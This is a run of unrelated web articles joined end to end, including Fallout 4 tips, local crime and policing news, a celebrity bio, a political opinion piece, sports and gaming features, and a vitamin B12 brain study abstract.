Most people who played Skyrim or Fallout 3 will probably know this already, but it bears repeating for total greenhorns – hold down R (or whatever reload is bound to) to put your weapon away. As well as very occasionally making NPCs more amenable, having your screen clear of a honking great gun means you can see more of what’s going on, helps get into the roleplay spirit in towns and makes for cleaner screenshots.
12) Easy experience points
You get experience points from every kind of crafting, in addition to combat and quests. So visit science and cookery stations often to see what you can do with whatever crap is hanging around your inventory. Be it cooking scorpion meat or mixing drugs together, there’s usually some recipe you can fulfill, and after a long time in the wilderness you might find you get a big splurge of experience for it.
13) The importance of casual wear
Charisma doesn’t just affect your chances in quest-based dialogue and unlock new Perks – the more charming you are, the better the rate you get from traders, for both buying and selling. So don’t turn your nose up at all those sequin dresses and tatty suits with no armour rating but +2 Charisma – stick ’em on when shopping and you’ll save a pretty penny. The same’s true of the Day Tripper drug, which I guess is post-apocalyptic cocaine, though be wary of addiction or seeming like you work in the music industry.
14) Shoot from cover
There is a cover system of sorts. If you stand at the edge of a building/wall or behind an open door, you’ll notice that you can’t see past it. Unless you hit right click (or whatever you have assigned to sighted mode), at which point your character will automatically lean out and have a clear shot from relative safety. Bear in mind this only works while in first-person mode, however – in third person, you’ll just see whatever’s directly in front of you, which usually means whatever bit of brick or wood you’re skulking behind.
15) Companion inventories and appearance
You can dress up some Companions – in fact they can wear anything you can, power armour aside, and the same’s true of weapons. Talk to them, ask to trade, then send whatever items you want them to wear or carry over to the inventory. Select it (from the right-hand pane) and press T, and you’ll see it reflected in their appearance immediately. This is great both for co-ordinating outfits and making your chum of chums more combat-effective. Note that this broadly only works for human companions – although Dogmeat-specific armour can occasionally be found or bought.
There are more things like this. There will be still more things like this. Please share suggestions and questions alike below and I’ll update this with anything else that seems useful.PHILADELPHIA -- A man accused of beating two New York Rangers fans in a brawl after the NHL Winter Classic in Philadelphia has been sentenced to house arrest.
A Philadelphia judge on Friday sentenced 33-year-old Dennis Veteri of Glassboro, N.J., to a range of slightly under one year to nearly two years of house arrest followed by five years' probation. He pleaded guilty earlier this year to aggravated and simple assault and conspiracy.
The Philadelphia Daily News reports that prosecutors asked for prison time, but Veteri's lawyer said his client is "a good man who had a bad day."
The fight occurred outside a cheesesteak stand after the Rangers beat the Philadelphia Flyers 3-2 in the Jan. 2 game. One victim, an off-duty police officer, was beaten unconscious and his eye-socket was broken.Overview (4)
Mini Bio (2)
Emmanuelle Vaugier is a Canadian actress, singer, and model. She began acting in grade school, after she was cast as an understudy in a play and had to fill in when the lead actor became ill. She modeled in Japan for three years. She made her acting debut in the 1995 made-for-TV movie drama, A Family Divided. She took up horseback riding in 2010; entered a Burbank, CA, horse show in which she placed third. She is involved with animal protection organizations including JIMI'S Angels and Best Friends Animal Society; she created Fluff-ball, an animal fundraiser event, to provide monetary support for the groups.
- IMDb Mini Biography By: Mohamed_Ali
Emmanuelle Vaugier is a versatile actor who simply sizzles when it comes to portraying those feisty female leads who like to stir things up a bit. Her role in ABC's steamy summer soap, "Mistresses" is no exception. In the series, Vaugier portrays Niko, the new mixologist at Wunderbar, and a thorn in Joss' (Jes Macallan) side. Her role on "Mistresses" is the latest addition to Emmanuelle's already impressive body of work. This stunning actor continues to reprise her role on the innovative series "Lost Girl". Playing the role of The Morrigan, Emmanuelle breathes life into her vain and dangerously sociopathic character.
This vivacious actor's performances continue to shine on television and movie screens around the world. Vaugier may be best known for her popular role as Charlie Sheen's ex-fiancée Mia on the award-winning CBS comedy "Two and a Half Men." For three seasons she also played Detective Jessica Angell on "CSI: NY," leaving fans devastated when her role came to an end.
Emmanuelle Vaugier was cast alongside Piper Perabo in the USA Network crime series "Covert Affairs," where she played the recurring role of Liza Hearn, a journalist and blogger not afraid to push boundaries. Other television appearances include her guest roles on "The Mentalist," "Big Shots" and "Supernatural." She was also the new female superhero for the Sci Fi Channel television pilot of the comic "Painkiller Jane," and had a starring role in the "Master of Horror" series directed by John Carpenter. Vaugier's other television credits include UPN's hit series "Veronica Mars," and a starring role in the WB comedy "My Guide to Becoming a Rock Star." She portrayed Dr. Helen Bryce, Lex Luthor's wife, on the WB's hit drama "Smallville." She also appeared in a recurring role on "One Tree Hill,"and the FOX action/drama series "Human Target," playing FBI Agent Emma Barnes.
Vaugier's feature film endeavors are impressive. Her credits include "Saw II," "Saw IV," "Secondhand Lions" with Michael Caine and Robert Duvall, "40 Days and 40 Nights" with Josh Hartnett, to name a few.
One of the roles that Emmanuelle connected most with was playing a woman who rescues animals in 'Susie's Hope', a role for which she won best actress at the Greensville International Film Festival. 'It's Christmas, Carol!' another starring role for Emmanuelle opposite Carrie Fisher, won her a Leo Award. Emmanuelle also stars in 'Absolute Deception' alongside Cuba Gooding Jr.
Off-screen, Emmanuelle is an avid animal lover. A project that is very close to her heart is her own 501c3 charitable foundation 'The Fluffball', which raises money for various animal charities through her annual cocktail event. A dedicated equestrian Emmanuelle competes on a horse rescued from a situation of neglect. Emmanuelle paints to express her creativity and contributes a major portion of her sales to the many charitable animal rescue organizations she supports.
- IMDb Mini Biography By: Lesley Diana
Trivia (14)
Has played a doctor on both the WB's Charmed (1998) and Smallville (2001).
Resides primarily in Los Angeles, where she works, but also has a home in her hometown of Vancouver, British Columbia.
Her parents are French immigrants. She grew up in a French-speaking home.
Last name is pronounced Vo-zhe-aye/Vo-zhaye.
Attended an all girls private school for 10 years.
Has two dogs Lily and Isabelle.
She landed a spot in Maxim Hot 100 List in 2006 at number 31.
Was on the February 2006 Cover of Maxim.
She is a former model, who started modeling in high school.
Her dream role when she was little was Little Orphan Annie in "Annie.".
She loves to go hiking.
In 2002, Emmanuelle was in a Charmed episode (5.6, The Eyes Have It) with Saw II (2005) co-star, Tobin Bell.
Filming the movie Unearthed (2007) in Mexico. [August 2005]
Personal Quotes (1)
I've been decapitated, drowned, cut with razor-sharp blades, my mother is so proud, this is way better than becoming a doctor!From left, then-national security adviser Michael Flynn, and senior adviser Jared Kushner listen to President Trump at the White House in Washington on Jan. 31. (Jabin Botsford/The Washington Post)
If Democrats and Republicans agree on very little these days, at least they are in accord on this: President Trump is a raging narcissist. And that makes just about everyone curious as to why he was so darned concerned about Michael Flynn.
Norman Eisen and Eric Bookbinder write:
Perhaps the most important of the outstanding questions concern President Trump’s motives. Why did the president want the Flynn case dropped? Was it simply to do a favor for a friend? Or was it because that friend had information that would be damaging to the president — such as about his potential ties to Russia? What evidence is there of such ties, including in the statements of the president and his sons, or the president’s tax returns? The uglier the motive, the stronger the obstruction case.
Trump was concerned enough about Flynn that he waited 18 days to fire him after then-acting attorney general Sally Yates told the administration he was compromised and therefore a national security danger. He was concerned enough that the day after Flynn got canned, he leaned on the FBI director to let him go. He was concerned enough publicly to call him a good man. “This man [Flynn] has served for many years, he’s a general, he’s a — in my opinion — a very good person,” he told NBC News. Trump was concerned enough to tell Flynn to hold out for immunity. He tweeted: “Mike Flynn should ask for immunity in that this is a witch hunt (excuse for big election loss), by media & Dems, of historic proportion!”
I am hard-pressed to think of another person, even a relative, he has so strenuously and consistently defended in public — well, other than Russian President Vladimir Putin.
This is all the more odd because Trump does have the pardon power. It’s not like Flynn would ever have to face jail time — or even a conviction on his record — if Trump wanted to spare him through the pardon power.
It therefore is hard to escape the conclusion that Trump was desperate to spare Flynn not from conviction, but from trial and threat of conviction. That is the reaction of someone terribly concerned about what a potential criminal defendant might have to say.
What did Flynn know or what had Flynn done that should have so deeply concerned Trump? We might find out if the intelligence community has the contents of, not just the fact of, calls between Flynn and Russians. We might find out if we knew more about Flynn’s and Trump’s finances, which the special prosecutor can certainly subpoena. We might find out if Jared Kushner tells investigators (including Senate staff with whom he is to meet this month) about the meeting he and Flynn had with Russian Ambassador Sergey Kislyak at Trump Tower in December to establish a line of communication — that is, a secret back channel that would be concealed from the American intelligence community. (The Post reported: “Ambassador Sergey Kislyak reported to his superiors in Moscow that Kushner, son-in-law and confidant to then-President-elect Trump, made the proposal during a meeting on Dec. 1 or 2 at Trump Tower, according to intercepts of Russian communications that were reviewed by U.S. officials. Kislyak said Kushner suggested using Russian diplomatic facilities in the United States for the communications.”)
In sum, Flynn connects the collusion case to the obstruction case. Figure out what Flynn was saying to whom and why he was having so many contacts with the Russians, and we may nail down precisely why Trump was leaning on Comey. I cannot think of anyone better than Robert S. Mueller III to figure it out.Development and construction Edit
Countries served Edit
Northern section Edit
Darién Gap Edit
Map of the Darién Gap and the break in the Pan-American Highway between Yaviza, Panama and Turbo, Colombia Main article: Darién Gap The Pan-American Highway is interrupted between Panama and Colombia by a 100 km (60 mi) stretch of marshland known as the Darién Gap. The highway terminates at Turbo, Colombia and Yaviza, Panama. Because of swamps, marshes, and rivers, construction would be very expensive. Efforts have been made for decades to eliminate the gap in the Pan-American highway, but have been controversial. Planning began in 1971 with the help of United States funding, but this was halted in 1974 after concerns raised by environmentalists. Another effort to build the road began in 1992, but by 1994 a United Nations agency reported that the road, and the subsequent development, would cause extensive environmental damage. There is evidence that the Darién Gap has prevented the spread of diseased cattle into Central and Northern America, which have not seen foot-and-mouth disease since 1954, and since at least the 1970s this has been a substantial factor in preventing a road link through the Darién Gap. The Embera-Wounaan and Kuna have also expressed concern that the road could bring about the potential erosion of their cultures. The Darién Gap has challenged adventurers for many years. A 1962 expedition with Chevrolet Corvair rear-engine cars failed.[14] A 1971-72 British expedition from Alaska to Argentina attempted to transit the Gap with two standard production Range Rovers, supported by a team of Land Rovers. They barely succeeded in thrashing a passage through the extreme terrain.[15] In 1979 a team led by Mark Smith drove standard production CJ7-model Jeeps from South to North, traversing the Gap - with difficulty.[16] In June 1984, Loren and Patty Upton took 741 days slogging, winching, chopping and digging their way through the inhospitable jungles of the Darién Gap. One proposed option to bridge the gap is a short ferry link from Colombia to a new ferry port in Panama,[17] with an extension of the existing Panama highway that would complete the highway without violating these environmental concerns.
Southern section Edit |
A business owner is feuding with local police and their supporters after his restaurant was allegedly attacked by riot cops in the aftermath of widespread protests against the acquittal of Jason Stockley last Friday.
Chris Sommers owns Pi Pizzeria in downtown St. Louis, Missouri. He’s always been a supporter of police charities and gives officers with the St. Louis Metropolitan Police Department (SLMPD) free or reduced meals. But, according to an open letter penned by Sommers, “No good deed goes unpunished.”
Sommers described what happened at his restaurant last Friday night, “[A]t approximately 11:15pm, the SLMPD shot at me and gassed me. They did this, ostensibly, because I was screaming at them from across an empty street to stop terrorizing my dinner guests and team who were dining peacefully on a corner devoid of protestors or agitators.”
His open letter continued:
After [the police] threw a tear gas canister at me…a guy next to me picked it up and threw it back at them, either to get it away from him and others at Pi, or because he felt violated and wanted to return the poison. They certainly didn’t like that, and finally crossed the street, rushing at me as I ran into my restaurant and barely got the door closed before they could break in. Yes, I had to lock down my restaurant for the first time from the St. Louis Metropolitan Police Department. I then had to close the restaurant, buy dinner for remaining guests and ensure that my team, who were now all terrified from the gas and rush by the police, had a safe ride home. I repeat, we only closed our restaurant this weekend out of fear of police, not protestors or the shitheads vandalizing.
Prior to being gassed and attacked, Sommers says he witnessed SLMPD riot cops shooting rounds indiscriminately into the air. Again, from the open letter:
[O]n my way home, I looked south and saw a wall of militarized police marching in line to our corner. It was immediately alarming because they were not pushing any protestors or clearing anyone from the street. They were approaching an empty block, marching by themselves with gas masks, guns and shields. I immediately stopped my car and ran back to my restaurant, still baffled why they were coming our way. When they reached the corner, at least one of them began shooting indiscriminately, at absolutely no one. Some of the shots (pepper pellets, I later learned) were directed towards the air, so it appears they were just trying to intimidate.
After the small business owner began to speak out about what occurred during the protests, a revenge campaign of sorts was set into motion by the pro-police organization Blue Lives Matter. In a post on Facebook and their official website, Blue Lives Matter put Sommers on blast and not-so-subtly urged supporters to give the restaurateur a piece of their minds. Their post claims that Sommers favored protesters by giving them free water–while Sommers contends that he passed out water to cops and peaceful protesters alike. Blue Lives Matters’ post ends with this line, “Let’s get the word out that if you bash the police, you won’t be getting our business,” while the Facebook post is captioned with the following threat, “If you’re going to bash the police for protecting your business, you better expect that people will notice at [sic] tell others.”
The St. Louis County Police Association joined in on the anti-Sommers revenge campaign, and posted the following call to action:
There are reports of people calling the restaurants tying up their phone lines expressing their feelings about the owners [sic] anti-police comments. We have been busy protecting everyone’s free speech during the demonstrations. Here are the numbers if you feel like your freedom of speech needs a little exercise.
Sommers describes even more police harassment in his open letter, “They have been terrorizing my teams on the phone (after the union posted all of our phone numbers on Facebook), threatening me and my businesses, and falsely claiming my businesses were protected by the police…These people are now calling for our windows to be broken, and based on their words, I don’t doubt they will do it themselves.”
Sommers is now claiming that he has received threats of violence from pro-police organizations and believes those threats to be credible. It’s worth noting that pro-police organizations and their supporters typically draw from the ranks of current and former law enforcement, their immediate friends and family members.
Sommers continued, “The Blue Lives Matter (Only) people who are threatening me and my business use phrases like “Black Lives Don’t Matter” in their messages. They all have Trump and “Make America Great Again” tags in their profiles. Oh, and they generally seem to love Jesus. It just doesn’t compute.”
According to Sommers’ letter, police and their supporters are also harassing his businesses by leaving hundreds of one-star reviews on Yelp, Google and Facebook. The American Civil Liberties Union is now involved and Sommers is slated to testify in federal court about the alleged police abuses sometime this week.
LawNewz reached out to the SLMPD for comment, but a reply was not forthcoming at the time of publication. This post will be updated if and when a response is received.
[image via screengrab]
Follow Colin Kalmbacher on Twitter: @colinkalmbacherFinal Fantasy XII was released more than a decade ago. I can still remember going with my grandmother to Walmart right around that time and pointing it out as something I badly wanted for Christmas. She didn’t know much about games, but acquiesced, and I opened it that December with an enormous grin on my face.
As a lifelong Final Fantasy fan, it was already excruciating enough to have to wait until Christmas to get my hands on the game. But afterward, what hurt even more was the fact that I, unfortunately, just wasn’t that into it.
Maybe it’s because I was only 17 at the time and still mired in the typical Final Fantasy game conventions, but the world of Ivalice wasn’t where it was at for me. Even armed with the official strategy guide and an entire week off from responsibilities, I couldn’t quite get into the game despite multiple attempts. But I knew there was an excellent game waiting there beneath all the things that bothered me.
Vaan doesn’t remember meeting me back then. Giphy
That’s why I’m ready, years later, to jump back in with the advent of a vastly-improved remaster of the Final Fantasy XII International Zodiac Job System version that was released in Japan back in 2007. After playing it ahead of its debut, I’ve seen things I’m hoping will end up completely revitalizing the game so I can finally give it a fair shake. And I think this will likely be the case for others, too.
Final Fantasy XII: The Zodiac Age : Jumping back into Ivalice
Final Fantasy XII was a difficult sell to me for several reasons. It was a bunch of small, mostly inconsequential things that bugged me, but even those things were enough to frustrate me. Its aesthetic wasn’t as in line with the parts of the franchise I preferred. The font choice for subtitles (which I always turn on), the character designs and more just weren’t up to snuff. Least interesting to me was the setting and heaps of political intrigue. I was willing to overlook those things, of course, but it didn’t help that “main” protagonist Vaan and the company he kept were uninteresting to me.
Vaan and Penelo hanging out Giphy
I knew this back then when I started playing. But I also knew that Final Fantasy IX didn’t initially appeal to me, either, and it went on to become my personal favorite of the series alongside Final Fantasy VII and Final Fantasy VIII. So even when those things frustrated me, I got over them.
What I didn’t get over were frustrations like the game’s License Boards, which I felt forced me to have an uneven spread of characters and abilities, relying on some characters but hardly even utilizing others. I wasn’t a fan of Gambits or the like, nor the MMO-esque combat. Though I had a brief stint as a Final Fantasy XI devotee, I wasn’t ready to switch from familiar turn-based combat to awkward real-time fights where I could aggro enemies simply by running past them.
I didn’t like any of these things, but I hated the tedious back-and-forth traveling between areas without a map overlay and the frustrating load screens between the same areas I’d get lost in. Despite this, all my favorite gaming publications lauded the game with high praise and near-perfect scores. I felt like there was something missing, perhaps something I didn’t see in the game at first, so I shelved it for a while to come back to later, when I was more patient and had more time.
Yeah, real nice, Vaan Giphy
I didn’t expect years to pass before I thought about playing it again. But when news broke of a remastered edition, I knew this would be the best chance at experiencing the game and to perhaps see what others had seen upon its initial release. I’ve been playing it ahead of its debut on July 11, and while I can’t say much for now, Final Fantasy XII: The Zodiac Age has shown me that even small improvements can change much of how you feel about a game. I know it has for me.
Final Fantasy XII: The Zodiac Age : Important improvements
As you’ve no doubt seen in screenshots and other content, The Zodiac Age has had a massive facelift in terms of its user interface and player-focused content. There’s a font with great size and kerning now, more general ease of access and several tweaks to systems I took issue with before.
It’s less annoying now. Balthier seems to think so. Giphy
It’s less irritating to accomplish certain tasks. It’s less frustrating to move from area to area. And this may be just time talking here, but I don’t mind the combat systems nor exploring the world. I know the augments that have come with the remastered edition will end up alleviating most of the complaints I had with the game in general.
It’s strange to look back now and realize this is the same game with the same core content I played before, but I’m much more willing to put up with it now. It’s all thanks to a smart and all-encompassing remaster, which is why I wish more games like these would get the same sort of revisions years later when game developers and gamers both have learned important lessons about things.
I would never have wanted to skip Final Fantasy XII as a die-hard Final Fantasy fan, and I’m glad I can come back years later and find a new appreciation for it, even if it’s in a form that’s skewed from the original.
More gaming news and updates
Check out the latest from Mic, like this essay about the sinister, subtle evils lurking in rural America that Far Cry 5 shouldn’t ignore. Also, be sure to read our review of Tekken 7, an article about D.Va’s influence on one Overwatch player’s ideas about femininity and an analysis of gaming’s racist habit of darkening villains’ skin tones.New Texas 911 law goes into effect Copyright by KXAN - All rights reserved Copyright by KXAN - All rights reserved New Texas 911 law goes into effect on Sept. 1 prev next
AUSTIN (KXAN) -- Known as "Kari's Law," it's designed to save you seconds when every second counts. Starting Thursday in Texas, all businesses with multi-line phone systems will be required to provide direct access to 911 instead of having to dial "9" to call out first.
Gov. Greg Abbott signed the bill into law in 2015, making Texas the third state to pass Kari's Law. This year, the Commission of State Emergency Communications has implemented the law.
The inspiration behind the change is from a tragic murder in a Marshall, Texas hotel room three years ago. Kari Hunt Dunn brought her three kids to the hotel to visit her estranged husband. He dragged her into the bathroom and stabbed her to death.
Kari's 9-year-old daughter was just outside the door. She tried to call 911, but never got through because she didn't know she had to dial "9" first to get an outside line. Last year, Brad Dunn pleaded guilty and was sentenced to 99 years in prison.
"Its unfortunate that a bad tragedy like this had to happen for this to come to light for us," said Kelli Merriweather, Executive Director of the Commission on State Emergency Communication.
Many multi-line phone systems in hospitals, hotels, schools and businesses use a "dial 9 to get out" function. Beginning Thursday, businesses must provide callers with direct access to 911, and owners must reprogram or replace their telephone systems.
Layne Rouse,President of TelcoData in Austin, explains how the change is a fairly simple process.
"You would log into a modern phone system and you would go and access one line of programming and change that setting, save your changes and it's done," Rouse said.
But if the system is old or outdated, that's when it could get costly.
"If it doesn't have any server components on site you run the risk that you're out of date and you can't make this change and you need to upgrade your phone system," Rouse said.
If you are business owner and cannot reprogram the telephone system in time, or it is too costly to do so, you can fill out a waiver application online. The waiver is good for one year and it comes with a rule -- businesses must place a sticker next to the phone explaining how to dial 911.
Even though it was signed into law, there is no enforcement or fines if businesses don't comply.
"There is an incentive for businesses to comply with Kari's Law because if they do so, then they would be protected to the extent possible from liability under Kari's Law," Merriweather said.
Twenty-four more states are considering similar legislation and it could soon become a national law. The U.S. House of Representatives passed a bill in May, sponsored by Texas Rep. Louie Gohmert. A date for a senate vote has not been set.On the surface, Malik Monk would seem to be a perfect fit for the Sixers.
The one-and-done Kentucky guard showed off a lethal shot and the ability to light up the scoreboard on any given night. That would be a perfect complement to franchise pieces Ben Simmons and Joel Embiid.
There's something beyond his play that also seems to fit the city of Philadelphia: His attitude.
As anyone who's been around the city long enough knows, Philly is unlike any other. It's one of, if not the toughest place to play. Not because of the tired "They booed Santa Claus" narrative. But because Philly demands a certain attitude from its athletes.
So how would Monk, who is scheduled to work out for the Sixers on Thursday, handle his first bad game for the Sixers? How would he handle tough questions from tough reporters? How would he handle boos from over 20,000 fans?
"Monk ain't gonna give a rat's ass," his former AAU coach Ron Crawford said in his Southern drawl during a phone interview. "He could not have gone through what he went through [if he cared what people thought]."
Bentonville: The birthplace of Walmart
As with most athletes, Monk's path to the NBA was not a straight line. He grew up in impoverished Lepanto, Arkansas. The poverty rate in Lepanto is 34.4, according to the most recent U.S. Census Bureau data. To put that in perspective, the poverty rate in Philadelphia, which has plenty of its own issues regarding poverty, is at 25.8. A piece in the Commercial Appeal painted a decent picture of what Monk's hometown was like.
Monk honed his skills at "The Woodz," a local hoops hotspot not made for the timid. (A tattoo on Monk's chest commemorates the court.) As much as the court there toughened Monk up, it was not the greatest environment to grow up in. His older brother Marcus knew that.
A former Razorback football player, Marcus Monk was drafted by the Chicago Bears in 2008. After injuries prevented him from sticking in the NFL, he spent two years playing professional basketball in Germany.
Following a brief career overseas, Marcus came back to Arkansas and moved his younger brother and their mother to Bentonville when Malik was in ninth grade. Bentonville is the birthplace of Walmart and, according to Crawford, "You might as well have moved to New York City" compared to where Malik Monk grew up.
Monk remained a part of Crawford's Nike EYBL team, the Arkansas Wings Elite. But from an educational standpoint, the move was a big boost for Monk. That was likely the biggest reason Marcus, who was the valedictorian of his high school and completed the MBA program at Arkansas, wanted Malik to get out of Lepanto.
Bentonville High was also where Monk got to show off some of the toughness instilled by The Woodz.
'Hey, b----, that's 40'
Jayson Tatum of Duke most likely will join Monk as one of the top selections in this month's NBA draft. Before achieving lottery pick status, Tatum and Monk went head to head in high school. Tatum, a St. Louis native, played at Chaminade College Preparatory School in Creve Coeur, Missouri.
Crawford remembers the fierce battles between Monk and Tatum. On Nov. 29, 2014, their high school rivalry began when Monk dropped in 45 in an 86-77 Bentonville win. In one of their more contentious clashes, Monk was scoring at will, and he let Tatum know about it.
"He told Jayson on the court, in Bentonville, 'Hey, b----, that's 40,' and almost started a fight," Crawford said. "Now that's Malik Monk."
Ben Smith, a forward who starred with Monk at Bentonville, recalls that game. He doesn't remember that exact phrase coming out of Monk's mouth but admitted that games against Chaminade were always chippy.
And that game, in particular, stood out.
"It was a heated game," Smith said in a phone interview. "It would not surprise me if [Monk said that] because he's a competitive player."
Monk and Tatum are actually close friends, but Crawford said Monk developed an attitude of "inside the lines there are no friends" from his days of playing in The Woodz.
Monk would need that kind of attitude as it came time to commit to a college.
'You're gonna be a Razorback'
Monk was a five-star recruit. He set a Nike EYBL record with 59 points in a game as a 16-year-old. He broke numerous scoring records at Bentonville.
Everyone in the state of Arkansas wanted Monk to become a Razorback. His brother went there and even came back to coach there as a graduate assistant. It just made so much sense to everyone.
That is, except for Monk. He did what was best for him and committed to John Calipari and hated rival Kentucky.
"If he would've went to Arkansas he would've been beloved by everybody," Crawford said. "Everybody you meet or see in that northwest corridor expects you to be a Razorback. Your brother went to school there. Your brother's going to school there now. He's a coach on the Razorbacks. You're gonna be a Razorback."
Monk spurned the college in his home state, but it was easy to see why. Arkansas has made the Tournament just twice in the last nine years. It's been ranked only twice in the last sixteen years.
Calipari may be a polarizing figure, but the guy wins. And his best players routinely get drafted in the lottery. Last year, it was Jamal Murray. In 2015, Karl-Anthony Towns was the first overall pick. He was joined by teammates Willie Cauley-Stein, Trey Lyles and Devin Booker within the top 13.
So it was with that in mind that Monk joined the Wildcats. He came to Kentucky with the reputation of being a big-time scorer, but on a Saturday afternoon in December, Monk put the whole country on notice.
'We've seen that show before'
In a 103-101 win over eventual national champion North Carolina, Monk poured in 47 points. He didn't just break Kentucky's freshman single-game scoring record (35), he shattered it. He hit 8 of 12 threes including two clutch treys in the final minute to seal the victory for the Wildcats.
It was one of the best college basketball performances in history, let alone for a freshman. While the rest of the country was taken back, Crawford felt like he was just watching the same old Monk.
"I got a call from a national writer that asked, 'Were you surprised?'" Crawford said. "I know he thought I was BSing. I said 'No, I'm not surprised,' because we've seen that show before. That wasn't a one-time deal."
Monk went on to break Kentucky's freshman scoring record set just a season ago by Murray. His 754 points were the sixth most by a freshman in NCAA history.
A perfect fit?
Now it's onto the NBA with his Wildcat teammate De'Aaron Fox. Both players should hear their names called pretty early at Barclays Center on June 22.
The first two picks might be set, with the Washington's Markelle Fultz projected to go No. 1 to the Celtics and UCLA guard Lonzo Ball set to be picked by the Lakers. The draft should get interesting with the Sixers' pick at No. 3.
Kansas swingman Josh Jackson is probably the best player available. But from a pure fit standpoint, there might not be a better fit with Simmons and Embiid than Monk. Monk's jumper and his ability to score off the ball seem to fit Simmons' skill set as a 6-foot-10 point guard perfectly.
A concern could be ego. With Simmons and Embiid in the fold, will Monk be OK with playing third fiddle?
"I think he's the kind of player that can fit in wherever he goes," Smith said. "He's going to find a way to score the basketball regardless. And I don't think that he's the kind of player that's going to step in there and expect to be the star or stud, which is why I always loved playing with him. He's a great teammate."
With that said, Monk has his weaknesses. Crawford pointed to physical strength as the biggest thing Monk will need to focus on at the next level. Crawford also said he wouldn't "rate him as the best defensive player we've ever had."
But something that can get overlooked with Monk, is that he's crazy fast. Crawford acknowledged that he favors his jump shot (when you have one as sweet as his, who could blame him?) but that he has plenty of speed and the right mentality to get to the rim and finish. It's a skill that he just needs to develop.
"As Monk gets stronger, he'll get to that rim," Crawford said. "If he goes to Philly, he's gonna have some gaps to go through (playing next to Simmons and Embiid)...
"He is not afraid of contact. He has no fear. He just likes to shoot the three better than he likes to go to the rim. And he loves facializing people and he can do that."
Lasting impression
Crawford had been in the AAU circuit since 1980 -- he actually retired last year. He's coached the likes of former Sixer Corliss Williamson and five-time NBA champ Derek Fisher. He's also coached current NBA players like the Bulls' Bobby Portis and the Kings' Skal Labissiere.
He first saw Monk in fifth grade and said he knew then that this kid had a chance to be something special. What Crawford loved more than the jumper, the lightning fast first step and the explosive finishes at the rim, was Monk's toughness and the willingness to get better. He said that Monk just loves the game but "hates to lose worse than he likes to win."
"Malik Monk, to say the least, is a very unusual blend," Crawford said. "A fierce competitor and very friendly kid off the court. He knows when he's in the fight and he knows when he's not."
Smith first saw Monk when Monk was a seventh grader. Like Crawford, he saw right away how special he was. When Monk joined Smith at Bentonville, Smith knew that he'd make an immediate impact. What seemed to stick with Smith more than anything is how great of a teammate Monk was and how much Monk was unfazed by outside noise.
So many star players get caught up in their own hype and take away from the team.
Not Monk.
"Watching him play, I firmly believe, that nothing outside of himself affects how he plays," Smith said. "I never really saw it in a sense where the crowd or something outside was affecting how he played negatively. I think he could handle a tough media or a tough crowd no problem."Many studies indicate a crucial role for the vitamin B 12 and folate-dependent enzyme methionine synthase (MS) in brain development and function, but vitamin B 12 status in the brain across the lifespan has not been previously investigated. Vitamin B 12 (cobalamin, Cbl) exists in multiple forms, including methylcobalamin (MeCbl) and adenosylcobalamin (AdoCbl), serving as cofactors for MS and methylmalonylCoA mutase, respectively. We measured levels of five Cbl species in postmortem human frontal cortex of 43 control subjects, from 19 weeks of fetal development through 80 years of age, and 12 autistic and 9 schizophrenic subjects. Total Cbl was significantly lower in older control subjects (> 60 yrs of age), primarily reflecting a >10-fold age-dependent decline in the level of MeCbl. Levels of inactive cyanocobalamin (CNCbl) were remarkably higher in fetal brain samples. In both autistic and schizophrenic subjects MeCbl and AdoCbl levels were more than 3-fold lower than age-matched controls. In autistic subjects lower MeCbl was associated with decreased MS activity and elevated levels of its substrate homocysteine (HCY). Low levels of the antioxidant glutathione (GSH) have been linked to both autism and schizophrenia, and both total Cbl and MeCbl levels were decreased in glutamate-cysteine ligase modulatory subunit knockout (GCLM-KO) mice, which exhibit low GSH levels. Thus our findings reveal a previously unrecognized decrease in brain vitamin B 12 status across the lifespan that may reflect an adaptation to increasing antioxidant demand, while accelerated deficits due to GSH deficiency may contribute to neurodevelopmental and neuropsychiatric disorders.
We utilized a novel HPLC/electrochemical detection-based assay to quantify individual Cbl species in postmortem human cerebral cortex of control subjects from fetal to 80 yrs of age, as well as autistic and schizophrenic subjects. Changes in Cbl species were compared with the status of methylation and antioxidant pathway metabolites and the influence of decreased GSH production on brain Cbl levels was evaluated in glutamate-cysteine ligase modulatory subunit knockout (GCLM-KO) mice in which GSH synthesis was impaired, leading to a brain GSH level decrease of 60–70% [ 33 ]. Our results reveal an unexpected decrease in cortical Cbl and MeCbl levels across the lifespan, as well as premature decreases in both autism and schizophrenia, which were replicated in GCLM-KO mice.
Methylation of DNA and histone proteins complexly regulates gene expression and this form of epigenetic regulation is particularly important during development, including pre- and postnatal brain development [ 21 ]. Neural tube defects, as well as Rett and Angelman/Prader-Willi neurodevelopmental syndromes are linked to defects in methylation-dependent epigenetic regulation [ 22 – 24 ]. Turnover of DNA methylation marks is very fast in prefrontal cortex during fetal development but is 2–3 orders lower during childhood and later life [ 25 ]. We previously showed that the level of MS mRNA in human prefrontal cortex decreases several hundred-fold across the lifespan, indicating a dynamic role for vitamin B 12 -dependent MS activity in brain development and function, and MS mRNA levels were prematurely decreased in autistic subjects [ 26 ]. Abnormal DNA methylation [ 27, 28 ] has been reported in postmortem brain of autistic subjects, in conjunction with low levels of the antioxidant GSH and elevated markers of oxidative stress [ 29, 30 ]. Increased oxidative stress and impaired methylation have also been implicated in schizophrenia [ 31, 32 ].
The brain exists within a distinct compartment and levels of metabolic resources, including vitamin B 12, are reflective of their transport into and out of cerebral spinal fluid (CSF) across the neuroepithelial barrier in the choroid plexus. While factors responsible for vitamin B 12 entry into brain have not been fully elucidated, cubilin and megalin, which combine to participate in transport of vitamin B 12 in other tissues, are expressed in the choroid plexus [ 14, 15 ], and a role for amnionless has been postulated based upon disturbed vitamin B 12 transport into the brain in a patient with a mutation causing Imerslund-Gräsbeck syndrome [ 16 ]. While diet or genetic defects in transport/ processing can affect systemic vitamin B 12 availability [ 17, 18 ], there have been relatively few direct studies of vitamin B 12 status in human brain [ 19, 20 ] and none have provided a comprehensive analysis of different Cbl species.
